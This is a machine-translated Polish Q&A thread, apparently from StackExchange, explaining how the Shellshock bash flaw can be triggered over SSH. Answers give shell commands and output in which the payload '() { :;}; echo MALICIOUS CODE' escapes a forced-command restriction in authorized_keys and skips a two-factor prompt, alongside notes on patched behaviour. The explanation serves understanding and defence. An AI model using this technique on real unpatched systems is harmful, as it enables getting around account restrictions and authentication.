Jak można wykorzystać Shellshock w SSH?

68

Wydaje się, że exploit Cash-2014-6271 w shellshock Bash może być wykorzystywany przez sieć za pośrednictwem SSH. Mogę sobie wyobrazić, jak exploit działałby za pośrednictwem Apache / CGI, ale nie wyobrażam sobie, jak działałoby to w przypadku SSH?

Czy ktoś może podać przykład wykorzystania SSH i jaką szkodę może wyrządzić system?

WYJAŚNIENIE

AFAIU, tylko uwierzytelniony użytkownik może wykorzystać tę lukę poprzez SSH. Jakie zastosowanie ma ten exploit dla kogoś, kto i tak ma legalny dostęp do systemu? To znaczy, ten exploit nie ma eskalacji uprawnień (nie może stać się rootem), więc nie może zrobić nic więcej niż mógł po prostu zalogować się legalnie przez SSH.

Martin Vegter
źródło
Mówiąc wprost, nie można tego zrobić, chyba że ktoś ma już dostęp do twojego pudełka. Nowa powłoka bash jest wykonywana dopiero po udanej próbie logowania.
Evert
Wszystko jest głównie medialne, może się zdarzyć, ale nie jest tak złe, jak się wydaje.
jgr208
Czy nazwy użytkowników przechodzą dosłownie do dzienników? Jeśli tak, może istnieje skrypt bash z logowaniem, który jest gdzieś podatny na atak ...
PlasmaHH
1
@PlasmaHH Jeśli uruchamiasz skrypt analizujący dzienniki jako root, zasługujesz na to, co dostajesz.
Barmar
@Barmar: poza tym, że pytanie nie dotyczy konkretnie uzyskania dostępu do roota, ale dostęp do komputera (który może być wszystkim, co jest potrzebne, np. Do jego zniszczenia lub wyrządzenia innych szkód), kiedy możesz uruchomić kod, są szanse, że możesz również uruchom kod, który wykorzystuje coś innego, co daje ci rootowanie.
PlasmaHH

Odpowiedzi:

79

Jednym z przykładów, w których można to wykorzystać, są serwery z authorized_keyswymuszonym poleceniem. Podczas dodawania wpisu ~/.ssh/authorized_keysmożesz poprzedzić wiersz linią, command="foo"aby wymusić foouruchomienie w dowolnym momencie użycia klucza publicznego ssh. Dzięki temu exploitowi, jeśli powłoka docelowego użytkownika jest ustawiona na bash, może skorzystać z exploita, aby uruchomić rzeczy inne niż polecenie, do którego jest zmuszony.

Prawdopodobnie miałoby to więcej sensu w przykładzie, więc oto przykład:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Tutaj konfigurujemy użytkownika testuser, który wymusza uruchomienie wszystkich połączeń ssh za pomocą twojego klucza ssh echo starting sleep; sleep 1.

Możemy to przetestować za pomocą:

$ ssh testuser@localhost echo something else
starting sleep

Zauważ, że nasz echo something elsenie uruchamia się, ale starting sleeppokazuje, że uruchomiono polecenie wymuszone.

Teraz pokażmy, jak można wykorzystać ten exploit:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Działa to, ponieważ sshdustawia SSH_ORIGINAL_COMMANDzmienną środowiskową na przekazane polecenie. Tak więc pomimo sshduruchomienia sleep, a nie polecenia, które mu powiedziałem, z powodu exploita mój kod wciąż działa.

Patrick
źródło
1
spróbuj zamiast tego: ssh testuser@localhost echo something else '`whoami`' aby udowodnić, gdzie polecenie jest wykonywane
Richard
1
Dodałbym do tej odpowiedzi, że jeśli chodzi o SSH, exploit pozwala tylko autoryzowanemu użytkownikowi z autoryzowanym kluczem (autoryzowany klucz może być uważany za długie hasło) do uruchamiania poleceń, których normalnie nie są uprawnieni. Nie pozwala nikomu bez tego autoryzowanego klucza nic robić. Nie sądzę, że jest to jasne z odpowiedzi, jeśli nie masz wystarczającego zrozumienia SSH i znaczenia klucza autoryzowanego.
Chris Dragon,
@skrewler To zwykle dobry znak, że coś źle interpretujesz. Na przykład odpowiedź wyjaśnia, w jaki sposób, gdyby testser otrzymał od administratora skonfigurowaną konfigurację konta, w jaki sposób testser byłby w stanie ominąć ograniczenia, które zostały im podane. I nie, brak zaangażowania w bash oznacza, że ​​możesz wykorzystać szok. Tylko gdy bash działa z uprawnieniami, użytkownik zwykle nie ma, ale że użytkownik ma wpływ na zmienne środowiskowe bash.
Patrick
Ok, dostaję to, co próbujesz teraz pokazać - konfigurację, która ogranicza testser do polecenia w .authorized_keys, a nie powłoki logowania. Nie miało dla mnie sensu edytowanie własnych .authorized_keys w / pozycji, która wykonuje polecenie, gdy już miałeś dostęp do powłoki (ponieważ nie zapewniłoby to wykonywania uprawnień) edycja: usunięty komentarz, stoję poprawiony.
skrewler
26

Rozszerzając przykład z Ramesh - jeśli używasz uwierzytelniania dwuskładnikowego, możliwe jest ominięcie drugiego czynnika za pomocą tego exploita, w zależności od tego, jak jest on implementowany.

- Normalne logowanie -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Uruchomiony kod bez 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Zauważysz, że uruchomił kod bez pytania o 2FA.

- Po załataniu basha -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Eric Rumer
źródło
1
Żeby ograniczyć panikę potencjalnych czytelników używających drugiego czynnika: „w zależności od tego, jak to jest zaimplementowane” - przypuszczam, że założyłeś, że drugi czynnik jest zaimplementowany w bash lub używa readfunkcji. W przeciwnym razie - użytkownik jest bezpieczny.
Grzegorz Wierzowiecki
25

Shellshock to podatność na bash, a nie na SSH. Aby go wykorzystać, osoba atakująca musi spowodować uruchomienie przez podatny na atak systemu bash oraz kontrolę wartości zmiennej środowiskowej, która zostanie przekazana do bash.

Aby osiągnąć proces bash przez SSH, osoba atakująca musi przejść kroki uwierzytelnienia. (Wektory ataku mogą występować za pośrednictwem innych usług sieciowych, ale wykraczają one poza zakres tego wątku.) Jeśli mimo to konto może uruchamiać dowolne polecenia powłoki, atak nie jest wykonywany. Luka wchodzi w grę, jeśli konto jest ograniczone do uruchamiania określonych poleceń: na przykład konto tylko SFTP lub konto tylko git itp.

Istnieje kilka sposobów ograniczenia konta do uruchamiania określonej komendy za pomocą SSH: z ForceCommandopcją w sshd_configlub z command=. ograniczenie w authorized_keyspliku. Jeśli powłoka użytkownika jest bash, wówczas luka Shellshock pozwala użytkownikowi, który normalnie miałby dostęp tylko do konta z ograniczeniami, ominąć ograniczenie i wykonać dowolne polecenia.

Gilles
źródło
I to NIE działa w przypadku innych powłok, takich jak zsh.
Eir Nym,